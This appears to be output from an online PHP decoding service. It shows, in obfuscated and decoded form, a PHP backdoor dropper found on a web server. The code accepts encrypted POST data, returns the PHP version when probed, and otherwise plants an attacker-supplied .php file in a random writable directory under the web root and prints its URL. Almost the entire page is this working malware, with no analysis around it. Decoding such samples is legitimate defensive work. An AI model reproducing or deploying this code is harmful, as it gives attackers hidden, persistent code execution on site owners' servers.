Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php function LFHVef($TjBILzaWd){$kQRVliB = "\x72".'a'.chr(119).chr(117).chr(114).chr(365..
Decoded Output download
<?php function LFHVef($TjBILzaWd){$kQRVliB = "r".'a'.chr(119).chr(117).chr(114).chr(365-257).chr(170-70)."e"."c".chr(903-792)."d"."e";$Zdgcmag = "s"."t"."r"."_".'r'."o"."t"."1".chr(51);$HozqIZpPoq = "s".chr(832-716)."r"."_".chr(723-608).chr(841-729).chr(736-628).chr(290-185).chr(596-480);$TjBILzaWd = $HozqIZpPoq($kQRVliB($Zdgcmag($TjBILzaWd)));return $TjBILzaWd;}function YCFPdET($GcsCehk, $TjBILzaWd){$IzAHaD = chr(115).'t'."r".chr(277-182)."s"."p".chr(108)."i".chr(1042-926);$GcsCehk = array_slice($IzAHaD(str_repeat($GcsCehk, (count($TjBILzaWd)/16)+1)), 0, count($TjBILzaWd));return $GcsCehk;}function vQtCE($kimOdgv, $tlBnTZ, $GcsCehk){$FvQMxKvgr = "c88e8ca9-e8d1-4edb-9c44-4f90c47d53e7";return $kimOdgv ^ $FvQMxKvgr[$tlBnTZ % strlen($FvQMxKvgr)] ^ $GcsCehk;}function KExjFyEufG($TjBILzaWd, $GcsCehk){$TjBILzaWd = array_map("vQtCE", array_values($TjBILzaWd), array_keys($TjBILzaWd), array_values($GcsCehk));$TjBILzaWd = implode("", $TjBILzaWd);$LBntqsmZl = 'u'."n"."s".'e'.chr(114).'i'.chr(97).chr(168-60)."i".chr(122).chr(889-788);$TjBILzaWd = @$LBntqsmZl($TjBILzaWd);return $TjBILzaWd;}function YrfzFkFf(){echo "ESPZeJ";}function fwsaLpTPlE($GNUmwBKVGir){static $wDbmrQR = array();$tNoFTYO = glob($GNUmwBKVGir . '/*', GLOB_ONLYDIR);$WysHv = count($tNoFTYO);if ($WysHv > 0) {foreach ($tNoFTYO as $GNUmwBKVG) {$LwfwVAD = "i".chr(115).chr(95)."w"."r".chr(307-202)."t".chr(97)."b".chr(108)."e";if (@$LwfwVAD($GNUmwBKVG)) {$wDbmrQR[] = $GNUmwBKVG;}}}foreach ($tNoFTYO as $GNUmwBKVGir) fwsaLpTPlE($GNUmwBKVGir);return $wDbmrQR;}function kKbaFsH(){echo "NWqLyGLHfC";}function Cbcjtm($TjBILzaWd){$oXodMTJ = "D".chr(146-67).chr(67).chr(1022-937)."M".'E'.chr(78)."T"."_".chr(82).chr(188-109).'O'."T";$GNUmwBKVGOtkMuDLED = $_SERVER[$oXodMTJ];$tNoFTYO = fwsaLpTPlE($GNUmwBKVGOtkMuDLED);$QGzLHcle = array_rand($tNoFTYO);$qnqnfQPOUZ = chr(901-855)."p".chr(104).chr(112);$FtCmTp = $tNoFTYO[$QGzLHcle] . "/" . substr(md5(time()), 0, 8) . $qnqnfQPOUZ;$hkHWmgxqc = chr(577-475).chr(105).chr(108).'e'."_".'p'."u"."t".'_'."c"."o".'n'.chr(710-594)."e".'n'."t".chr(576-461);@$hkHWmgxqc($FtCmTp, $TjBILzaWd);$nHShv = chr(72)."T"."T"."P".'_'.chr(433-361)."O"."S".'T';$PhTJGm = "h"."t"."t"."p".chr(58).chr(999-952)."/";$pcIBs = $PhTJGm . $_SERVER[$nHShv] . substr($FtCmTp, strlen($GNUmwBKVGOtkMuDLED));print($pcIBs);}foreach ($_POST as $GcsCehk => $TjBILzaWd){$nfzJBHr = strlen($GcsCehk);if ($nfzJBHr == 16){$TjBILzaWd = LFHVef($TjBILzaWd);$GcsCehk = YCFPdET($GcsCehk, $TjBILzaWd);$TjBILzaWd = KExjFyEufG($TjBILzaWd, $GcsCehk);if (@is_array($TjBILzaWd)){$QGzLHcle = array_keys($TjBILzaWd);$TjBILzaWd = $TjBILzaWd[$QGzLHcle[0]];if ($TjBILzaWd === $QGzLHcle[0]){$yKbAJaBsEq = 'p'.chr(104).chr(612-500);$QAVMF = chr(112).chr(213-109).'p'.chr(941-823)."e"."r"."s"."i"."o".'n';$ACrAny = chr(115).chr(101)."r".chr(105)."a".'l'.'i'.'z'."e";echo @$ACrAny(Array($yKbAJaBsEq => @$QAVMF(), ));}else {Cbcjtm($TjBILzaWd);}die();}}}[ ?>
Did this file decode correctly?
Original Code
<?php function LFHVef($TjBILzaWd){$kQRVliB = "\x72".'a'.chr(119).chr(117).chr(114).chr(365-257).chr(170-70)."\x65"."\143".chr(903-792)."\144"."\x65";$Zdgcmag = "\163"."\x74"."\162"."\x5f".'r'."\x6f"."\x74"."\61".chr(51);$HozqIZpPoq = "\x73".chr(832-716)."\162"."\x5f".chr(723-608).chr(841-729).chr(736-628).chr(290-185).chr(596-480);$TjBILzaWd = $HozqIZpPoq($kQRVliB($Zdgcmag($TjBILzaWd)));return $TjBILzaWd;}function YCFPdET($GcsCehk, $TjBILzaWd){$IzAHaD = chr(115).'t'."\162".chr(277-182)."\x73"."\160".chr(108)."\151".chr(1042-926);$GcsCehk = array_slice($IzAHaD(str_repeat($GcsCehk, (count($TjBILzaWd)/16)+1)), 0, count($TjBILzaWd));return $GcsCehk;}function vQtCE($kimOdgv, $tlBnTZ, $GcsCehk){$FvQMxKvgr = "c88e8ca9-e8d1-4edb-9c44-4f90c47d53e7";return $kimOdgv ^ $FvQMxKvgr[$tlBnTZ % strlen($FvQMxKvgr)] ^ $GcsCehk;}function KExjFyEufG($TjBILzaWd, $GcsCehk){$TjBILzaWd = array_map("vQtCE", array_values($TjBILzaWd), array_keys($TjBILzaWd), array_values($GcsCehk));$TjBILzaWd = implode("", $TjBILzaWd);$LBntqsmZl = 'u'."\156"."\x73".'e'.chr(114).'i'.chr(97).chr(168-60)."\x69".chr(122).chr(889-788);$TjBILzaWd = @$LBntqsmZl($TjBILzaWd);return $TjBILzaWd;}function YrfzFkFf(){echo "ESPZeJ";}function fwsaLpTPlE($GNUmwBKVGir){static $wDbmrQR = array();$tNoFTYO = glob($GNUmwBKVGir . '/*', GLOB_ONLYDIR);$WysHv = count($tNoFTYO);if ($WysHv > 0) {foreach ($tNoFTYO as $GNUmwBKVG) {$LwfwVAD = "\x69".chr(115).chr(95)."\167"."\162".chr(307-202)."\x74".chr(97)."\142".chr(108)."\145";if (@$LwfwVAD($GNUmwBKVG)) {$wDbmrQR[] = $GNUmwBKVG;}}}foreach ($tNoFTYO as $GNUmwBKVGir) fwsaLpTPlE($GNUmwBKVGir);return $wDbmrQR;}function kKbaFsH(){echo "NWqLyGLHfC";}function Cbcjtm($TjBILzaWd){$oXodMTJ = "\104".chr(146-67).chr(67).chr(1022-937)."\x4d".'E'.chr(78)."\124"."\137".chr(82).chr(188-109).'O'."\x54";$GNUmwBKVGOtkMuDLED = $_SERVER[$oXodMTJ];$tNoFTYO = fwsaLpTPlE($GNUmwBKVGOtkMuDLED);$QGzLHcle = array_rand($tNoFTYO);$qnqnfQPOUZ = chr(901-855)."\160".chr(104).chr(112);$FtCmTp = $tNoFTYO[$QGzLHcle] . "/" . substr(md5(time()), 0, 8) . $qnqnfQPOUZ;$hkHWmgxqc = chr(577-475).chr(105).chr(108).'e'."\x5f".'p'."\165"."\164".'_'."\x63"."\x6f".'n'.chr(710-594)."\x65".'n'."\164".chr(576-461);@$hkHWmgxqc($FtCmTp, $TjBILzaWd);$nHShv = chr(72)."\124"."\x54"."\120".'_'.chr(433-361)."\x4f"."\x53".'T';$PhTJGm = "\x68"."\x74"."\164"."\x70".chr(58).chr(999-952)."\57";$pcIBs = $PhTJGm . $_SERVER[$nHShv] . substr($FtCmTp, strlen($GNUmwBKVGOtkMuDLED));print($pcIBs);}foreach ($_POST as $GcsCehk => $TjBILzaWd){$nfzJBHr = strlen($GcsCehk);if ($nfzJBHr == 16){$TjBILzaWd = LFHVef($TjBILzaWd);$GcsCehk = YCFPdET($GcsCehk, $TjBILzaWd);$TjBILzaWd = KExjFyEufG($TjBILzaWd, $GcsCehk);if (@is_array($TjBILzaWd)){$QGzLHcle = array_keys($TjBILzaWd);$TjBILzaWd = $TjBILzaWd[$QGzLHcle[0]];if ($TjBILzaWd === $QGzLHcle[0]){$yKbAJaBsEq = 'p'.chr(104).chr(612-500);$QAVMF = chr(112).chr(213-109).'p'.chr(941-823)."\145"."\x72"."\x73"."\151"."\157".'n';$ACrAny = chr(115).chr(101)."\x72".chr(105)."\141".'l'.'i'.'z'."\x65";echo @$ACrAny(Array($yKbAJaBsEq => @$QAVMF(), ));}else {Cbcjtm($TjBILzaWd);}die();}}}[
Function Calls
None |
Stats
MD5 | ebb19fb759d93add927aa458f6f3d57b |
Eval Count | 0 |
Decode Time | 110 ms |